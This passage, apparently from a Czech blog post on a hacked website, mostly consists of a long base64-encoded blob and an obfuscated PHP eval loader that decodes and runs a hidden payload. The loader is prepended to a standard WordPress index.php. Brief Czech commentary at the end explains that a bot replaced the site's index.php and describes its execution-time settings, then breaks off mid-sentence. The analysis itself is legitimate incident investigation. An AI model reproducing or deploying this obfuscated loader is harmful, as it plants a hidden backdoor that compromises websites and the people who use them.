Zpb2wrcHJMQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dlpPMUxVYlZqaWh1OUpEdXZvMFdWd1ZMdFVCVkZnQjV2aW9sdG9oNHRDdFhqVVlON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bHBPMTVpYmtMaWh1OUpPaXlOT3dhbllFNFVCcWFQQjFrQ1l1SVdjSlR6RjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2kzTmJrMGlobHZVb2tiZ0Jxa0NZdXZVQlZGZ0I1dmlvWEhOM0VjbnhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTYlAycXlOMlFlcE8xNWlia0xpaHY3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdUlVMkw4UHRKK2dSRTBOZmV5Q2NKYXBWOXhFd3BCRXdwVXAwWFF3VlNIaEQ5eHdZV1dDSUp5Skk0dlpPMUxVYlZqaXhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1eUMyd2RnTzhsSmRxSU5kNElDSUUzaUJKN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXZkxBWUl1bEpZdWxKWXVsSll1bEpSMWtVUkFrWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwM1hqVVlTYmdCcWtKT3FrTjNHbFV0d2pQYndjSk8xWE5Pa2FpT3c0Sk9pWGdCcWtKaE43ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaW9YVFdmTEFZSXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdXZXMndJSmYwbHBPWDBXUlNIVzJ3SUNJTjZDYzh0Q0lFdFUzV2tQSTR0QzNBVFdPd2pQb3VhTk9YRnMyRVhXT1E5cGM0dmdCS2FwY2kwaUIxRnNoTmFwUkVrVW91YXBjaTNpQko5cGM0dmdPOXJXWTR0cHRYalVmMHRDSUV2V1k0dHBiMVhOUkU1Tk9ROXBjNHZVQlZGV1JrRmloNHRwYmlUVU93MFpvU2tzaE5hcE9pVFVPdzBab1NrQ0lOYlVCVkZvM0FGVU9rME4xOWFXQjA5cGM0dlVCVkZvM0FGVU9rME4xOWFXQjBhcGNpalBvU0hVdHdqc2hOYXBPMVhOVjlhV0IwYXBjaXZQb0VYeGJ3M3NoTmFwT0VYV09WemlvTmFwY2kxTmJ2OXBjNHZOMjExTmJ2YXBjaWVXUkVGc2hOYXBPWDBXUnU3ZktlbEpZdWxKWXVsSk9rYm5SQTFQdEEwTklsdldPd2pOWUZGQ2ZsVHN4MHROMlhrVU9xNFVCRnRub0xBWUl1bEpZdWxKWXVsSll1bEpZRTRVQnFhUEIxa0pmMGxOM3dJTjNFY25ZRTBpQjFGQ2ZsVENJTmFaTzFMcHJMQVlJdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZU1RpSVhyV0JwcldSSmVwUkVrVW91TEdZRjNueDA5cDJYWFAyajRVQkZ0bm9MQVlJdWxKWXVsSll1bEpZdWxKT2tiblJBMVB0QTBOSWx2V093ak5ZRjNuaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscFJYalVPNVhVQlFsc2hTcldCcHJXUkplcFJFa1VvdUxBY3ZhcGM1NFVCRnR6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZUzlmS2VsSll1bEpZdWxKT2tibkR1dm8wV1Z3Vkx0VUJWRmlPa2NwMTBUWkYwbkpZdWxKWXVsSll1bEpZdWxnQlBlcE9pVFVPdzBab1Nrc3gwcW5vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZdXZaTzFMVWJWamlodTlKWUU0VUJxYVBCMWtDSU5haTNldHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4yUWxnQlBlcE9pVFVPdzBab1Nrc3gwY25vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZU1RpSVhiV0I1ZFdPa3lVazlrWk9rcldSR2VwMlc2VTNTa1VJTlRuaFM3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZRTRVQnFhUEIxa0pmMGxwUlhqVU81WFVCUWFwYzV0WklON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllFYk5ZdTlKT1c2VTNTa1VJbHZVQlZGaU9rY0NJTnlwYzR2Wk8xTFViVmppaEZscDNONXBjdlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxwUlhqVVl1OUpSRWNnQjBlTjIxeVdvRXZVY2x2VzJ3SW5odjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU1RpSVhyV1JwVE4zRWNuWUU0VUJGTHAyNXlKT0FjaUJWMEpPMVhOWU5Ubm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllOOGliOWFXWVNyV1JrTGl4MElQMjlMVTNKNk5id3ZKZDVhVWNTZE5id1hXWVNqUG91WHNZOWJVMjUwc0lON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxpb1hUV2ZMQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllFYk5ZdTlKT1c2VTNTa1VJdWVwTzFYTk9FVE5JNHRDY05hcFJYalVPNVhVQlFMSllXM3poTlR6RjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxpM1QzTmJrMGlodWVwT2lGQ1l1dlpPMUxueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKT1c2UDJxeU4yUWVwT2lGbnhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxKYjlNc09wY3NJSmFwT1gwV1J1YUpkZXlDY0phcFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV0NJSnlKSTR2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaXhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxKZHFJTmQ0SUNJRTNpQko3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSlIxa1VSQWtaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxpM1RkVU85cmlobHZpdHVUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdXRzT2l5VXRLbE4zRTVVT1E5SmJBeVVPOWN6dHBraVlKK1AzcGtQb0tsTjJrMGlCMVhOWVNiUEJrTGloU3pVY1NLaW9wamdvQXJnQjlhTmNEOEMyaXlVdEsrc09wY3NiWDBXUnU2Q2M4dENJRUhRMHdod3Z3aEJjV0p3VkVLbzBYc1ExS3RvaDRJQ2NKYXBPMVhOT0VUTkk0dENjTmFwUlhqVU81WFVCUTdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZUzlmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycWJVMjUwSlJBMFpCcWtzaHBkVTJxeU5kVGNpQktJc2JXNlUzU2tVSVNhVWNTa1pPa3JXUkdYc1k5YlUyNTBzZHFJTmQ0dENJRWVXUkVGQ0lONkNjOHRDSUVIUTB3aHd2d2hCY1dKd1ZFS28wWHNRMUt0b2g0SUNjSmFwTzFYTk9FVE5JNHRDY05hcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZRTNpQkpsc2h1dmdSRTBOVjkzaUJKYXByZXlDY05hcE9XeVcyd0lDSU55TjJrMGlCMVhOWTVGZ1J1L2lPVjBpeDB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHB0V2tQZDB0Q0lFZVUzQTBDSU5iWk8xTHNoTmFwT0UwQ0lOYlVCVkZXUmtGaXgwdENJRWpQb1MwWm9Ta0NJTmJnUkUwTmYwdENJRWVXUkVGekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsZ0JQZWliOUZpQjRlcE8xWE5PRVROSTR0Q2NOYXBSWGpVTzVYVUJRTEpZcDNKSXZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFNFVCRmxzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9rYm5SQTBOYmtyV1JKZXBSWGpVWUZ0VWI4bFAzcGtQb0tsVUJWRnBjdlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44aWI5YVdZU3JXUmtMaXgwSVAyOUxVM0o2TmJ3dkpkNWFVY1NkTmJ3WFdZU2pQb3VYc1k5YlUyNTBzSU43ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0s3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFalpCaVRVT1Fsc2hTYlUzU2tVSWx2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaWhGbEp0TklueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiVzNwVFdPUWVwTzE1aWJrTGloRmxwUlhqVVl2N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxKYjlNc09wY3NJSmFwT1gwV1J1YUpkZXlDY0phcFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV0NJSnlKSTR2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaXhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWUo4UHRKK0pJNHZXMndJekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMWtVUkFrWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9pZFVPOXJpaGx2VW9rYmdCcWtueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZTjhpYjlhV1lTcldSa0xpeDBJUDI5TFUzSjZOYnd2SmQ1ZE5id1hXWVNyZ29Fa1VCVkZKT2lYZ0Jxa0pENXlKVlNrTmIxVE4zQVRVMjVySnhGeWliOWFXZjQ4UHRKK2dSRTBOZmV5Q2NOYXBWOXhFd3BCRXdwVXAwWFF3VlNIaEQ5eHdZV1dDSUp5Skk0dlVCVkZpT2tjQ0lOeXBjNHZaTzFMVWJWaml4TEFZSXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0tlbnhMQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTVGlJWGJVM1NrVUlsdlpPMUxVYlZqaWhGbEp0TkluaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscFJYalVZdTlKUkVjZ0IwZU4yMXlXb0V2VWNsdlcyd0luaHY3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsZ0JQZU4zRWNnb0EwTklsdlpPMUxDWVdhVWNTZE5id1hXWVNqUG91dG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiNXlKT0FjaUJWMEpPMVhOWUQ4QzJpeVV0SytwckxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXZkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVM5ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE8xNWlia0xpaHU5Sk9peU5Pd2FuWUU0VUJxYVBCMWtDWXVJV2NKVHpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPaTNOYmswaWhsdlVva2JnQnFrQ1l1dlpPMUxueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiUDJxeU4yUWVwTzE1aWJrTGlodjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1SVUyTDhQdEorSkk0dmdSRTBOWTRJekk4eUpJNHZvMUFWUWtpVlFrTHRoVkVRUVY5SngxQVFwMTBhSkk4SUNJRTRVQnFhUEIxa3pGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhsSmRxSU5kNElDSUUzaUJKN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiQWNpQlYwSlJBVFdPd2pQb3VsaWJWVFVPUWx4YjhsUU93Y1VCa3JOMmt5VXRHWHNZOWJVMjUwc2RxSU5kNHRDSUVlV1JFRkNJTjZDYzh0Q0lFSFEwd2h3dndoQmNXSndWRUtvMFhzUTFLdG9oNElDY0phcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdUlzT3Bjc0lKYXBSV2tQZExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWZLZWxKWXVsZ0JQZXBPa3Zub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxwUldrUEl1OUpZRWVXUkVGbzNXa1BJNHR6STh5cGM0dmkyOTNpQkphcGM5VFViRWtaWTVGZ1J1L1dvcExzaE5hcFJBVFdPUWFwY2lUaWYwdENJRVRpWTR0cHRFa1VvdTlwYzR2V093ak5ZNHRwYkUwc2hOYXBPRTBDSU5iVzJ3SXNoTmFwT1h5TjNLYXBjaTZaZDB0Q3RBamdvQUlVM0tlbmg0dHBiQUxVMkFNc2hOYXBPQUxVMkFNQ0lOYldvcFRzaE5hcFJBaldvcFRDSU5iV29wTE4yWFhVYk45cGM0dldvcExOMlhYVWJOYXBjaWVXUkVGc2hOYXBPWDBXUnU3ZktlbEpZdWxKWXVsSllFZVdPMUxvMkF5VXRFa1V0S2xzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSllTVGlJbFhOM0VjTjNFY25ZRWVXTzFMbzJBeVV0RWtVdEtMcDI1eVBiOTBXb0FrTmJWdGlCNTBwY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxwT1gwVUJxSFAyOWFXT3dhV1l1OUpSQTBOazljaW9TTFBCQWtuWXB5ZzJYMFVCcXRpb0VkVTI1MGlCNTBKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZRWVXTzFMbzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaW9YVFdZbFR6RjBuSll1bEpZdWxKWXVsSll1bEhCd0xOMlFsZ0JQZU4zRWNOM0VjbllFZVdPMUxvMkF5VXRFa1V0S0xwMldrV09BeVV0RWtVdEsxR2ZTRlBCV2twY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSkRTZWlCVnZpb0plcDBYUXdWdXlHaDRxSmZRRkdZU3BVdEVrTmI1WFVZU3hpb3AyaW9KbEVvcGNVM0p0bnhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1pPazBuWXY3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZLRkFSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEFmdTBKRDV5V1lTT1Uzd2FpWU5UekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZdDFrVVJBa1pGMG5mS2VsSll1bHBSV2tQSXU5SllFZVdSRUZvM1drUEk0dHpJOHlwYzR2aTI5M2lCSmFwYzlUVWJFa1pZNUZnUnUvV29wTHNoTmFwUkFUV09RYXBjaVRpZjB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHBiRTBzaE5hcE9FMENJTmJXMndJc2hOYXBPWHlOM0thcGNpNlpkMHRDdEFqZ29BSVUzS2VuaDR0cGJBTFUyQU1zaE5hcE9BTFUyQU1DSU5iV29wVHNoTmFwUkFqV29wVENJTmJXb3BMTjJYWFViTjlwYzR2V29wTE4yWFhVYk5hcGNpZVdSRUZzaE5hcE9YMFdSdTdmS2VsSll1bHBPWDBVQnFIUDI5YVdPd2FXWXU5SlJFY2dCMGVOMjF5V29FdlVjbHZXMndJbmh2N2ZLZWxKWXVsZ0JQZUpvQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVdhVTJweVdSd3Jpb3BYaTJ3YVdZTlRub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1dmdSRWpVVjlkVTI1MGlCNTBKZjBsTjNFY28zcGtOT3FYUDJRZUpiOU1nUkVqVU9Xa1dPQXlVdEVrVXRLSUNZTnRDWUVlV08xTG8yQXlVdEVrVXRLVHpGMG5KWXVsSll1bEpZdWxKWXVsaUJBZVVjdXZnUkVqVVY5ZFUyNTBpQjUwekYwbkpZdWxKWXVsSll1bEpZdWxpb1hUV1lsVHpGMG5KWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZRRkdSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVN1Z093WGlPd2NuWVdKd1ZFS0NyRGFHaHUxR2Z1bGhCNTBpb3BhUEJGbFEyd2NXYndjSkR3Y05iOWNwY3Y3ZktlbEpZdWxKWXVsSll1bEpZU2taT2swbll2N2ZLZWxKWXVsSll1bEpSMWtVUkFrSk9rYm5SQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVd0aW9FZFUyNTBpQjUwQWZ1ME5PVnRpaE5Ubm9MQVlJdWxKWXVsSll1bEpZdWxKRFNlaUJWdmlvSmVwMFhRd1Z1eUdoNHFKZktGQVlTelUzS2xFYjkxVWJLdG54TEFZSXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSEJ3TE4yUWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyV2tXT0F5VXRFa1V0S3JHZlZGUEJXa3BjdlRaRjBuSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEdydXFKRDF5V2J3dkpWU2tOYjFYVWJ3YVdPcTVwY3Y3ZktlbEpZdWxKWXVsSll1bEpZdXZnUkVqVVY5ZFUyNTBpQjUwSmYwbE4zRWNvM3BrTk9xWFAyUWVKYldrV09BeVV0RWtVdEtyR2ZWRlBCV2tKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpPWGtQQkVrTklsdHhPOWRQb0VUVTI0NkpZTmFwT1gwVUJxSFAyOWFXT3dhV1l2N2ZLZWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKUjBBWWwwbkpZdWxKUjBBWXQwQVlsMG5pdHdhUDNFVFUyNGxOMjFUTjJweVdZbFRKUkxBWUl1bEpZdXZQQldrVXRLbHNoU3JXUnAwVTJxeVcyd2NuWUVIUTB3aHd2d2hCY1dKd1ZFS28xd3hFd3BIS1FXVnhrS3RvaHY3ZktlbEpZdWxnQlBsbllFWGkyd2FXWXVYc2h1SUpJdmxaRjBuSll1bEpZdWxKWXV2aTI5eWkycWtLYjkwSmYwbFBvcGNQb3ZlSnZXeVUyV0xpQnB5V1lKTEpra1hnTzl5SmhTeFVSd2NOWUpMSmtrWGdPOXlKVkFMV29wRkpJRklFMjl5aTJxa0pEVnZRMndhTjJRSUNZV3RVMjl0VU9RdENZdXRaQlZlVTI4dG54TEFZSXVsSll1bEpZdWxpYjljaUJWZGdZdWVwT1d5VTJXTGlRcHlXWVNYTmN1dldiVkxuaFM3ZktlbEpZdWxKWXVsSll1bEpZdXZOM0VjSmYwbE4zRWNXTzlMVTNXa05JbHZXYlZMbnhMQVlJdWxKWXVsSll1bEpZdWxKT2tiSllYcldScEZVM0dlcE9WdGlCNTBDWXV2TjNFY25odmxaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWVM5ZktlbEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpScGtXUndjVUlTYlBCcXJpeExBWUl1bEpZUzlmS1Q5ZktUYldCNWRXT2t5VUlTclVCOTBnT3djUGI5MG5ZdmxaRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce. Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné). Další zajímavostí je snaha o 